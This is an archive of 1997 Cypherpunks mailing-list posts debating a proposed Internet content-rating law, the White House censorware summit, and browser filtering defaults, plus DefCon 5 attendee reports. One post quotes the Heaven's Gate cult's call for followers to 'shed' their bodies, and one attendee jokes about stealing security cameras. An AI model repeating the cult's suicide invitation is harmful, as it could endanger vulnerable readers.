only that material of which they directly control or gain revenue via a
         percentage of sales.  Web Site designers may be held liable if
they fail to attach ratings to Web sites, containing material harmful to
            minors, they design for a fee. They may, by written agreement,
assign the task of rating to another legally responsible party.

       8.      Not every document is required to be labeled, only the
default or index document of each directory.  In the case of an entire web
          domain being of one rating, only its default top level document
needs to be labeled with instructions to apply it to the entire site. 









From jim.burnes at ssds.com  Wed Jul 16 15:32:09 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Thu, 17 Jul 1997 06:32:09 +0800
Subject: Rep. Rick White on White House censorware summit (fwd)
In-Reply-To: 
Message-ID: 





> 
> (Washington, D.C.)  --  Congressman Rick White (R-First District) today
> made clear his desire to protect kids who use the Internet but expressed
> concern that the federal government can solve the problem.  White's
> remarks were made during his participation in a closed meeting at the
> White House that focused on making the Internet family friendly.
> 
> "I have four children who love to use the Net and there is no question
> we need to protect our kids from harmful material on the Internet.
> Today's meeting was a step in the right direction," said White.  "But as
> we evaluate the next step we need to make sure we don't lure ourselves
> into a false sense of security.  No matter what we do in the United
> States it won't affect sites developed in Amsterdam or Bangkok.  That's
> why I'm skeptical that the federal government can solve this problem.
> The real solution will come from the smart people in the private
> sector."
> 

Oh, I'm sure the "smart" people in the private sector will do something.
 ;-)

I don't know if the people at Microsoft will go along with it though.

Jim








From jim.burnes at ssds.com  Wed Jul 16 15:40:53 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Thu, 17 Jul 1997 06:40:53 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: 
Message-ID: 





On Wed, 16 Jul 1997, Declan McCullagh wrote:

> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 14:16:47 -0500
> From: Marc Rotenberg 
> To: fight-censorship at vorlon.mit.edu
> Subject: The Real Plan: Making the Net Safe for Censorship
> 
> 
> Here is an example of a proposal being presented
> at the White House today.
> 
> The minds boggles at the number of unconstitutional
> provisions contained in such a brief text.
> 
> Never has a freedom won in a Supreme Court decision
> been given up so quickly.
> 
> Marc Rotenberg
> EPIC.

The current us-private sector may well suck up to the White
House control freaks, refusing to index pages that don't
contain RSACi advirsories.  If this is the case then I 
assume that new browsers and index engines will pop up
that refuse to do these things.

Any law that forces people to self-censor or that forces
them to truthfully self-censor is tantamount to forcing
people to not lie.  If this isn't an abridgement of the
9th or 10th amendment, I don't know what is.

Unless you are paying for the material or you sign a 
contract with the index engine stipulating that 
falsifying the information is breach of contract (and
they pay you for the priveledge to index your site)
I don't see how this could be enforceable.

The very value of the indexing engines is that they
pick up huge amount of information.  They couldn't
afford to pay everyone for their site listing.

What would happen if you rated your site honestly and
then made a change where you said the S-word and forgot
to re-rate it?

Are they going to prosecute for that?  Talk about a
change control nightmare!

This is a ridiculous bunch of crap.

If MS and Netscape and the rest of these guys buy off
on it, its time for programmers and cypherpunks to
start programming again.

Jim Burnes







From ant at notatla.demon.co.uk  Wed Jul 16 15:43:39 1997
From: ant at notatla.demon.co.uk (Antonomasia)
Date: Thu, 17 Jul 1997 06:43:39 +0800
Subject: The Censorware Summit: A Preview, from The Netly News
Message-ID: <199707161828.TAA01754@notatla.demon.co.uk>





>http://cgi.pathfinder.com/netly/opinion/0,1042,1173,00.html
>
>The Netly News Network (http://netlynews.com)
>July 16, 1997                        
>
>The Censorware Summit
>by Declan McCullagh (declan at well.com)
                                             

>        Today, Friedland and more than a score of industry and nonprofit
>   groups are visiting the White House to promote technical means of
>   stopping Junior from visiting playboy.com. President Clinton is
>   expected to endorse such measures over attempts to revive broad
>   criminal laws like the ill-fated Communications Decency Act, which he
>   supported. But this new approach suffers from all sorts of problems.

A UK computer vendor (I forget which) deals in its catalogue with the 
possible concerns of parents at internet content in this way.  It suggests
that the computer is in a family room where parents can readily see what
Junior is up to.  Common sense or what ?  Bubba can keep his nose out.

>                                                Rep. Bob Goodlatte       
>   (R-Va.), a staunch CDA supporter who will be at today's summit. "They
>   said we can't go that route. I'm certainly interested in developing 
>   other options. I want to put the burden on pornographers. One of the
>   ways to do that is to have Congress pass legislation that would make
>   it difficult for people to misrate their web site."

And I (poor ignorant thing) thought that pornmasters wanted their
sites recognised for what they are to attract visitors.



--
###############################################################
# Antonomasia   ant at notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################






From declan at well.com  Wed Jul 16 16:16:46 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 07:16:46 +0800
Subject: Time Online chat at 8 pm: Does the Net need a Nanny?
Message-ID: 



I'll be participating in a Time Online chat this
evening at 8 pm EST. Our guests will be Chris
Hansen from the ACLU and Bruce Taylor, a longtime CDA
supporter and head of the National Law Center for
Children and Families.

We'll be talking about the White House censorware
summit, self-rating of news sites, and free speech
online in general.

Join us at:

  http://pathfinder.com/time/community/newsforum.html

You can participate in the chat as long as
your browser supports frames, but the Ichat client
software is more stable:

  http://www.ichat.com/download/

-Declan







From declan at well.com  Wed Jul 16 16:17:12 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 07:17:12 +0800
Subject: Time Online chat at 8 pm: Does the Net need a Nanny?
Message-ID: 



We're having a Time Online chat this evening at 8 pm
EST to discuss Net-censorship. I'll be joining
Chris Hansen from the ACLU and Bruce Taylor, a
longtime CDA supporter and head of the National Law
Center for Children and Families.

We'll be talking about the White House censorware
summit, self-rating of web sites, and free speech
online in general.

Join us at:

  http://pathfinder.com/time/community/newsforum.html

You can participate in the chat as long as your
browser supports frames, but the Ichat client software
is more stable:

  http://www.ichat.com/download/

-Declan








From randerso at ece.eng.wayne.edu  Wed Jul 16 16:41:08 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Thu, 17 Jul 1997 07:41:08 +0800
Subject: The Big Sellout
In-Reply-To: <3.0.2.32.19970715230342.006f15a8@netcom10.netcom.com>
Message-ID: 



On Tue, 15 Jul 1997, Lucky Green wrote:

> Sure the CDA was struck down by the Supreme Court. Would a law prohibiting
> "mislabeling" of websites be struck down as well? I doubt it.

Didn't the Supreme Court strike down a requirement to have the group that
pays for political advertising on the advertising?  (I thought I heard
this, but I'm not entirely sure..)

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From ericm at lne.com  Wed Jul 16 16:51:12 1997
From: ericm at lne.com (Eric Murray)
Date: Thu, 17 Jul 1997 07:51:12 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: 
Message-ID: <199707162332.QAA24337@slack.lne.com>



Declan McCullagh writes:
> 
> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 14:16:47 -0500
> From: Marc Rotenberg 
> To: fight-censorship at vorlon.mit.edu
> Subject: The Real Plan: Making the Net Safe for Censorship

That should be Making the Net Safe for SafeSurf.

The proposal is a classic example of "if you can't beat 'em in
the marketplace, beat 'em in the legislature".  It would require
a rating system while locking out new competition from the net
censorshipratings field.   SafeSurf operates
a ratings system.  Can you say "conflict of interest"?

Note provision 3, which stipuates that a rating must be "issued by a
ratings service that has a minimum of 5,000 documented individuals usin
its system to mark their data."

That'd kind of make it hard to start a competing ratings system, wouldn't it?


 

> Here is an example of a proposal being presented
> at the White House today.
> 
> The minds boggles at the number of unconstitutional
> provisions contained in such a brief text.
> 
> Never has a freedom won in a Supreme Court decision
> been given up so quickly.

Just like the lumber barons who destroyed vast forests for
their own profit, too many modern business people are willing
to sell out our freedoms in return for profit for themselves.


-- 
Eric Murray  ericm at lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF






From declan at well.com  Wed Jul 16 16:51:33 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 07:51:33 +0800
Subject: HeavensGate Mirror incomplete/censored
In-Reply-To: <19970405.022954.11998.1.edgarswank@juno.com>
Message-ID: 



We decided to ditch the Pathfinder mirror site after a few weeks.

The difference in the heavensgate.com and pathfinder.com sites was due, I
remember, to the fact that we grabbed our copy from the heavensgatetoo.com
site, which wasn't quite identical.

-Declan


At 03:28 +2037 3/31/5, Edgar W Swank wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Mike Duvos recently posted here
>
>  For complete information on the impending recycling of the planet
>  earth, and instructions for entering the Kingdom Level above
>  Human, try the mirror at...
>
>       http://www.pathfinder.com/news/heavensgate
>
>I was able, finally, to get through to the original site
>
>       http://www.heavensgate.com
>
>and I noticed the mirror site does not include two links present
>in the original
>
>  Earth Exit Statements by Students
>
>  Exit Press Release:
>  "Away Team" Returns to Level Above Human
>
>which are perhaps the most interesting for "outsiders."  The last
>one starts
>
>  RANCHO SANTA FE, CA -- By the time you receive this, we'll be gone --
>  several dozen of us. ...
>
>And offers these instructions for stragglers ...
>
>  During a brief window of time, some may wish to follow us.  If
>  they do, it will not be easy.  The requirement is to not only
>  believe who the Representatives are, but, to do as they and we
>  did.  You must leave everything of your humanness behind.  This
>  includes the ultimate sacrifice and demonstration of faith --
>  that is, the shedding of your human body.  If you should choose
>  to do this, logistically it is preferred that you make this
>  exit somewhere in the area of the West or Southwest of the
>  United States -- but if this is not possible -- it is not
>  required.  You must call on the name of TI and DO to assist
>  you.  In so doing, you will engage a communication of sorts,
>  alerting a spacecraft to your location where you will be picked
>  up after shedding your vehicle, and taken to another world --
>  by members of the Kingdom of Heaven.
>
>Edgar W. Swank   
>                 (preferred)
>Edgar W. Swank   
>                 (for files/msgs >50K)
>Home Page: http://members.tripod.com/~EdgarS/index.html
>
>-----BEGIN PGP SIGNATURE-----
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-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From declan at well.com  Wed Jul 16 16:54:14 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 07:54:14 +0800
Subject: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: 
Message-ID: 



Of course it's not what the news media have been saying, at least vocally.
They often get suckered in by slick press releases and prepackaged pap. I
sometimes wonder if my sitting next to a reporter during an event and
telling him/her what's really going on ever changes what they write about
or how they say it. I suspect it does.

-Declan


At 15:34 -0400 7/16/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In , on 07/16/97
>   at 11:16 AM, Declan McCullagh  said:
>
>>As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
>>it a Federal crime to misrate. --Declan
>
>This doesn't sound like the "voluntary" system that the "news" media has
>been advertising.
>
>Perhaps they were too busy peddling Toilet Paper & Tampons to report the
>most important part of the story: "Clinton Administration wants Mandatory
>Rating System for the Internet".
>
>The mechanics of RSACi are really secondary to the fact that the FEDS want
>to force them on us.
>
>- --
>- ---------------------------------------------------------------
>William H. Geiger III  http://www.amaranth.com/~whgiii
>Geiger Consulting    Cooking With Warp 4.0
>
>Author of E-Secure - PGP Front End for MR/2 Ice
>PGP & MR/2 the only way for secure e-mail.
>OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html -
>---------------------------------------------------------------
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.3a
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>-----END PGP SIGNATURE-----



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From rwright at adnetsol.com  Wed Jul 16 16:57:48 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Thu, 17 Jul 1997 07:57:48 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
Message-ID: <199707162346.QAA01928@adnetsol.adnetsol.com>



Marc:

What a bunch of crap!  Keep out of the internet, you government 
flunky.  Let business, commerce and freedom of speech remain in it's 
new home, Cyberspace.  And save your regulations for someone who 
needs them.

On or About 16 Jul 97 at 14:42,  Marc Rotenberg  wrote:

> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 14:16:47 -0500
> From: Marc Rotenberg 
> To: fight-censorship at vorlon.mit.edu
> Subject: The Real Plan: Making the Net Safe for Censorship
> 
> 
> Here is an example of a proposal being presented
> at the White House today.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From nexus at eskimo.com  Wed Jul 16 18:07:19 1997
From: nexus at eskimo.com (Brian Lane)
Date: Thu, 17 Jul 1997 09:07:19 +0800
Subject: The Big Sellout
In-Reply-To: 
Message-ID: <33CD6C29.C60338E7@eskimo.com>



Declan McCullagh wrote:
> 
> I spoke to Netscape earlier today. The company previously had announced it
> would support PICS in a future version of Navigator. Now it's pledging to
> support PICS in the *next* version.
> 
> -Declan

  I don't care if Netscape supports PICS or not, as long as I still have
the
freedom to turn that option off (and that it is preferrably not enabled
by
default, or indicates in an OBVIOUS way that it is active).

  This whole thing is a load of shit though. The government is
professing
to have control over thousands of private computers and networks. No one
has to put their kids on the net (IMHO the damn thing is a large waste
of
time, they should be reading books or building things instead), so it
must
be the parents decision to give them access -- It is therefore the
parents
responsibility to monitor their kids activities, not the governments and
not
everyone elses.

  My webpage will proudly remain unlabeled by any labeling standard.
Anyone got a good design for a 'No Lables, Never' sticker to add to our
pages?

  Brian  

-- 
-------------------< http://www.eskimo.com/~nexus >--------------------
EET, Embedded Systems Programmer     PGP email OK     Linux Afficionado
====[  9E83F5D5/C1 BD 82 44 7C 4E 4D 5B  8E D3 FD A0 04 11 A4 AF  ]====






From dformosa at st.nepean.uws.edu.au  Wed Jul 16 18:14:07 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Thu, 17 Jul 1997 09:14:07 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: 
Message-ID: 




	Now I'm clearly not a 'merkin and have little knowlig of how your
system works but I would have thourt creating a sepreate marking sceam for
'news sites' and makeing it illegal to misslable would be creating a
licenced press and therefore unconstutional.

You Say To People "Throw Off Your Chains" And The Make New Chains For
Themselves? --Terry Pratchett






From whgiii at amaranth.com  Wed Jul 16 18:21:07 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 17 Jul 1997 09:21:07 +0800
Subject: The Big Sellout
In-Reply-To: <33CD6C29.C60338E7@eskimo.com>
Message-ID: <199707170117.UAA30196@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <33CD6C29.C60338E7 at eskimo.com>, on 07/16/97 
   at 05:49 PM, Brian Lane  said:

>  My webpage will proudly remain unlabeled by any labeling standard.
>Anyone got a good design for a 'No Lables, Never' sticker to add to our
>pages?


I'll have to whip somthing up and put it right next to my NOTScape
Enhanced & Netscape Unhanced logo's on my web page. :)

Of cource Netscape was never on "our" side to begin with so I can't call
their support of this crap a "sell-out" just typical.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From lizard at dnai.com  Wed Jul 16 18:22:13 1997
From: lizard at dnai.com (Lizard)
Date: Thu, 17 Jul 1997 09:22:13 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <199707162346.QAA01928@adnetsol.adnetsol.com>
Message-ID: <3.0.1.32.19970716181248.00b5a920@dnai.com>



At 04:47 PM 7/16/97 -0700, Ross Wright wrote:
>Marc:
>
>What a bunch of crap!  Keep out of the internet, you government 
>flunky.  Let business, commerce and freedom of speech remain in it's 
>new home, Cyberspace.  And save your regulations for someone who 
>needs them.

You will get a lot more respect on the net once you learn how to read
messages. I'll leave it you to figure out what you got wrong.

Sheesh. And I retreated to mailing lists to get away from this kind of
stuff on USENET.






From declan at well.com  Wed Jul 16 18:56:38 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 09:56:38 +0800
Subject: Justice is Done
Message-ID: 



---

From: "--Todd Lappin-->" 

Wednesday July 16 4:10 PM EDT

TV's 'Barney' Chokes in Filming Accident

DALLAS (Reuter) - An actor playing "Barney," the purple dinosaur loved by
millions of children, suffered smoke inhalation when
a cooling fan inside the 60-pound suit shorted out during filming of the TV
show, officials said Wednesday.

There was no fire but the actor inhaled smoke as he tried to get out of the
suit at a Dallas studio Tuesday, said Susan Elsner, a
spokeswoman for Lyrick Studios and The Lyons Group, which created and
produces the hugely popular children's show "Barney
& Friends."

She said the actor, who was not named, inhaled a "slight amount of smoke"
but was released after a routine examination.

Once the incident was reported on television, scores of anxious parents
called to say their children were worried their favorite
dinosaur had been burned or, worse still, was a fake.

"It can be really devastating to a 3-year-old," Elsner said. "They love
Barney and they think that something terrible has happened to
him, or that it's not real."

"Barney & Friends" airs on the U.S. Public Broadcasting System and is a
top-ranking program for children under age 6. It appears
in 30 countries across six continents.

Elsner said Tuesday's incident came as the cast was filming shows for the
fall season.







From randerso at ece.eng.wayne.edu  Wed Jul 16 19:15:21 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Thu, 17 Jul 1997 10:15:21 +0800
Subject: "The Failure to Do Your Job" amendment (was Re: White House  ...)
In-Reply-To: <3.0.1.32.19970716141513.00ae82f0@labg30>
Message-ID: 



On Wed, 16 Jul 1997, John Deters wrote:

> A Constitutional amendment that would call for the impeachment of the
> President for failing to veto any three bills that are overturned by the
> Supreme Court on Constitutional grounds.

Whole bill?  One little amendment to a *large* bill?  (CDA being part of
the Telecommunications Act of 1996.... hmmmm..)

Not a bad idea, but it suffers from the same problems we discussed about a
month ago regarding members of Congress...

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From mnorton at cavern.uark.edu  Wed Jul 16 19:34:35 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Thu, 17 Jul 1997 10:34:35 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: 
Message-ID: 



> ----------
> 
> http://www.safesurf.com/online.htm
> 
> The Online Cooperative Publishing Act
>                                      (SafeSurf's Proposal for a Safe
> Internet Without Censorship)
snip> 
  (It
> should be noted that it was the universal acceptance of basic rules of
>        cooperation, rather than anarchy, that built the Internet. )

Can someone explain to me the necessariness of the assumed inconsistency
here? Or better yet, can SafeSurf explain it?
MacN






From declan at well.com  Wed Jul 16 19:41:25 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 10:41:25 +0800
Subject: DefCon revisited -- other reports on the conference
Message-ID: 



My report on DefCon is at:

  http://www.cnn.com/TECH/9707/16/netly.news/index.html

Attached are some followup notes from conference attendees.

-Declan

**********

Date: Tue, 15 Jul 1997 04:26:23 -0800
From: Szechuan Death 
Subject: Def Con 5 Summary

God _DAMN_ that was fun!!!  >;->

(Despite the fact that I lost a shoe running away from a security guard, and
had to pitch the other one and my Rastafarian wig to satisfy my paranoia
about getting caught, it was well worth it...  besides, the barbed-wire
gouges are healing nicely, and I'll be getting a tetanus shot tomorrow...)

Let's see - my picks for Best of 'Con:

Mudge, because he's damned good (even if he _does_ work with NT)
Bruce Schneier, because he's - Bruce Schneier...
Val, for the dress (I still think the boots were masochistic, tho)
and Winn Schwartau for being such a good sport at Hacker Jeopardy, even if
he _did_ sound eerily like Alex Trebek.

Next year (if they have a Def Con next year) I'm coming back with a power
drill, Security Hex drivers, and a set of black pajamas - one of those
security cameras _will_ be mine...

_Are_ they going to have a Def Con next year?  Please say yes - Def Con 6 is
something to look forward to through a bleak and cold Alaskan winter...
>;->

**********

Date: Wed, 16 Jul 1997 01:57:49 -0400 (EDT)
From: Fyodor 
Subject: DC5

Wow, the list sure is quiet.  I imagine this is because everyone is
recovering from last weekend!  And probably reading their overflowing
mailboxes.  Or at least repeatedly pressing 'd'.

So how did it go??  Us lamers who couldn't make it want to know.  Speaking
of which, did anyone get a video tape together?  I'll buy it!

What did Mudge talk about?  Did he expose any gaping holes?  He tends to
do that sometimes.  What about *Hobbit*?  Did he give any new information,
or was it mostly a rehash of his (excellent) CIFS paper?

And how was the bitch?  Did anyone go to her "discussion"?  Did it go as
"well" as her IRC chats (before she was canceled)?.

[...]

**********

Date: Wed, 16 Jul 1997 08:44:51 -0400 (EDT)
From: krys 
Subject: Re: DC5


> Wow, the list sure is quiet.  I imagine this is because everyone is
> recovering from last weekend!  And probably reading their overflowing
> mailboxes.  Or at least repeatedly pressing 'd'.

I can't speak for the rest of the list, but I'm still walking around in a
dazed state, and hearing the ching-ching of thousands of slot machines in
my head. Apparently, it's going to take me a bit longer than anticipated
to recover.

> What did Mudge talk about?  Did he expose any gaping holes?  He tends to
> do that sometimes.  What about *Hobbit*?  Did he give any new information,
> or was it mostly a rehash of his (excellent) CIFS paper?

Mudge and Hobbit ended up combining their talks, and they were both
excellent, and quite informative. They spoke on various NT issues,
including CIFS and SMB and Microsoft's rehashing of bad password schemes
among other things. Unfortunately, I was still half asleep at the time. I
hope someone got audio of this - I'd really like a copy.

> And how was the bitch?  Did anyone go to her "discussion"?  Did it go as
> "well" as her IRC chats (before she was canceled)?.

The Happy Hacker Panel was a blast. Disorder did a great job of fielding
questions, as did Matt. Jon and Bronc were a lot more quiet, but they
answered some questions as well. Carolyn did a great job of making
a fool of herself. We did learn a few things, though:

1. Carolyn hacks her toaster.
2. Carolyn thinks sending http commands to the ssh port is a good idea.
3. Carolyn doesn't mind asking stupid questions. (This one was a real
shocker.)
4. Dis and 303 went to a lot of trouble to get Carolyn a copy of "Secrets
of a Super Hacker", which they so kindly had everyone autograph. Alas, she
already owned a copy.
5. One of Carolyn's favorite hacking methods is calling people and asking
them for their root password.


> Has anyone done a write-up of the highlights of the experience?  I noticed
> that Declan has a brief piece on the Netlynews today.  He'll probably post
> the first couple paragraphs here anyway, so I'll save him the trouble:

The only thing I've seen so far, other than what you posted from
NetlyNews, was a horrible AP piece, also posted here.

> Well, hopefully others will enlighten us with their DC5 experience when
> things calm down a bit.

Other than the lack of a working T1, I thought most things went well. It's
a shame se7en's speech was scheduled at the same time as the happy hacker
panel, though. I would have liked to hear what he had to say.

Uhm.. has anyone else heard rumor of the hotel's satellite dishes being
piled up on the 26th floor?

-krys

************

Date: Wed, 16 Jul 1997 13:58:03 -0400 (EDT)
From: Xservo 
Subject: Re: DC5

26th floor? well i do know there the coax ended up (flea).
yeah i saw someone running down the hall with a dish and thought 'oh we
are going to have a satellite phone for demo' then i was told to "move,
you didn't see anything" uhhh ok.....

wtf!

-xs



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From declan at well.com  Wed Jul 16 19:42:37 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 10:42:37 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
Message-ID: 





---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 19:30:04 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: Microsoft will NOT ship browser with RSACi on by default

Microsoft called me a few hours ago and told me that -- despite reports to
the contrary -- the company definitely will *not* ship the next version of
Internet Explorer configured to block unlabeled sites out of the box. 
"The product is going to ship with Content Advisor off by default," said
Mark Murray (mmurray at microsoft.com). 

My article at http://netlynews.com today had said:

  The next version of IE will default to displaying only properly
  labeled web pages, according to Ken Wasch, the president of the
  Software Publishers Association.

This comes after previous reports that RSACi might be default-on:

  http://pathfinder.com/netly/editorial/0,1012,476,00.html
  http://pathfinder.com/netly/editorial/0,1012,740,00.html

Kudos to Microsoft for doing the right thing.

-Declan







From mnorton at cavern.uark.edu  Wed Jul 16 19:42:47 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Thu, 17 Jul 1997 10:42:47 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: 
Message-ID: 



well, the "presumption" has a somewhat stalinist aroma
to it, but as for the rest of this laughable proposal, 
I can't count a mind boggling number of constitutional 
problems. But I think we've had this talk before, on
another list.:)
MacN
On Wed, 16 Jul 1997, Declan McCullagh wrote:

> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 14:16:47 -0500
> From: Marc Rotenberg 
> To: fight-censorship at vorlon.mit.edu
> Subject: The Real Plan: Making the Net Safe for Censorship
> 
> 
> Here is an example of a proposal being presented
> at the White House today.
> 
> The minds boggles at the number of unconstitutional
> provisions contained in such a brief text.
> 
> Never has a freedom won in a Supreme Court decision
> been given up so quickly.
> 
> Marc Rotenberg
> EPIC.
> 
> ----------
> 
> http://www.safesurf.com/online.htm
> 
> The Online Cooperative Publishing Act
>                                      (SafeSurf's Proposal for a Safe
> Internet Without Censorship)
> 
> 
>        Any law that seeks to regulate the Internet must first recognize the
> uniqueness of the medium.  The Internet is not the print media or the
>        broadcast industry.  It is also not another form of phone
> conversation or a 900 number calling system.  Instead, the Internet is the
>        manifestation of humankind's quest for limitless two-way interaction
> with thought.  The hyper-text layout allows us to change topics on
>        a whim, travel to distance places, or gather world opinion on a
> subject in a matter of minutes. 
> 
>        This distinctive nature of the Internet must be protected and even
> promoted by any legislation that claims to be fair to this medium.  The
>        interaction between the one receiving data and the one publishing it
> are where the core of the law should focus.  Both sides have rights,
>        the publisher has the First Amendment and the receiver has the right
> to be secure from harm in his home.  Proper Internet law should
>        encourage a cooperative transfer of ideas in the form of data.  (It
> should be noted that it was the universal acceptance of basic rules of
>        cooperation, rather than anarchy, that built the Internet. )
> 
>        Any law that attempts to give one side or the other is given an
> unreasonable burden in conducting the transfer of data is doomed to
>        failure.  The CDA was too burdensome on the publisher.  Its goal was
> to stop the flow of data, rather than to regulate it for the benefit
>        of all parties. 
> 
>        On the other hand, without a proper law, parents can purchase and
> activate measures to protect their children from adult material and still
>        not feel secure in their homes from unwanted material.  This is
> because negligent publishing of data eventually allows material that can
>        harm the child to enter the home.  Once this material is experienced
> by the child, its damage is done.  There is no "oops" factor, no way
>        to undo the unwanted intrusion into a child's innocence. 
> 
>        Most importantly, any Internet law must not censor thought.  It may
> regulate the labeling on the packaging but never the content. 
> 
>        With the goal of achieving a greater spirit of cooperation between
> the publisher and the receiver of online data, we propose the Online
>        Cooperative Publishing Act. 
> 
>        It shall contain the following provisions:
> 
>        1.      The right to be able to identify the adult rating of online
> content before it enters one's home shall be established.  This shall be a
>        civil right giving the violated person or family the presumption in
> a suit against negligent publishers.
> 
>        2.      Negligent publishing of data shall be defined as placing
> adult oriented material on the Internet in such a way or in such a location
>        that it prevents its rating from being known.
> 
>        3.      A rating shall be defined as a PICS compatible label that
> identifies degrees of adult content in a way that can be understood by
>        computer filtering systems and is issued by a ratings service that
> has a minimum of 5,000 documented individuals using its system to
>        mark their data.
> 
>        4.      A publisher is defined as anyone who places computer data
> where it can be accessed by the general public without the use of a
>        credit card or other secure verified ID or password given out only
> to adults.  Content that can be only be accessed by the use credit cards
>        or other secure verified IDs is not subject to this law.
> 
>        5.      The code used to surround content published on the Internet
> shall be defined as packaging.  All government identification
>        requirements shall be limited to the code of the packaging.  Nothing
> in this law shall be construed to require any altering or censorship
>        of the content.
> 
>        6.      Three types of online publishing shall be defined:
> 
>              a) Publishers who accurately identify their data with a
> recognized labeling system. 
> 
>              These publishers shall be considered to have satisfied the
> labeling requirement of the law.  The right to publish shall be
>              completely protected for those who accurately label their
> material.  They shall be protected from all civil suits that argue
>              negligent posting of data.  Only grossly mislabeled material
> can be prosecuted.  (Note: This is not a protection for
>              obscene material.  This law will offer no protection for
> obscene material.)
> 
>              b) Publishers who mislabel their data to the degree that it
> enables a minor using a label filtering
>              system to gain access to harmful material.
> 
>              Data shall be considered to be mislabeled if it is posted in a
> newsgroup, directory or other joint area that has been labeled
>              as free from material harmful to minors.  Tampering with
> another's label shall be crime.
> 
>              These publishers may be criminally prosecuted for subverting a
> rating system to entice children to harmful material.  The
>              mislabeling must be to the extent that it is completely
> unreasonable to accept it as accurate.  Only ratings that are too
>              lenient can be prosecuted.
> 
>              Posting unlabeled adult material to an area that has declared
> itself safe for children or tampering with another's label shall
>              be a severe criminal assault on the rights of the receiver.
> 
>              Sending unsolicited email to a minor that contains
> pornographic material or an invitation to a pornographic Web Site, shall
>              be considered negligent enticement and may be criminally
> prosecuted.  A bulk email service sending pornographic email
>              must show that it took reasonable measures to insure that
> every recipient was an adult.  (Example: The addresses used
>              were from the membership list of Adult Check or other such
> adult verification services.)
> 
>              c) Publishers who do not label their data at all.
> 
>              Negligence in the absence of damages shall not be a criminal
> offense (but it may be a civil violation of the rights of the
>              receivers of that data) unless the data is deemed to be
> harmful to minors.  Then the publisher will be prosecuted for
>              negligence.
> 
>              These publishers may be sued in civil court by any parent who
> feels their children were harmed by the data negligently
>              presented.  The parents shall be given presumption in all
> cases and do not have to prove the data actually produced harm
>              to their child only that the material reasonably could be
> considered to have needed a label warning to protect children.
> 
> 
> 
>          7.      Internet Service Providers are considered publishers of
> only that material of which they directly control or gain revenue via a
>          percentage of sales.  Web Site designers may be held liable if
> they fail to attach ratings to Web sites, containing material harmful to
>             minors, they design for a fee. They may, by written agreement,
> assign the task of rating to another legally responsible party.
> 
>        8.      Not every document is required to be labeled, only the
> default or index document of each directory.  In the case of an entire web
>           domain being of one rating, only its default top level document
> needs to be labeled with instructions to apply it to the entire site. 
> 
> 
> 
> 
> 






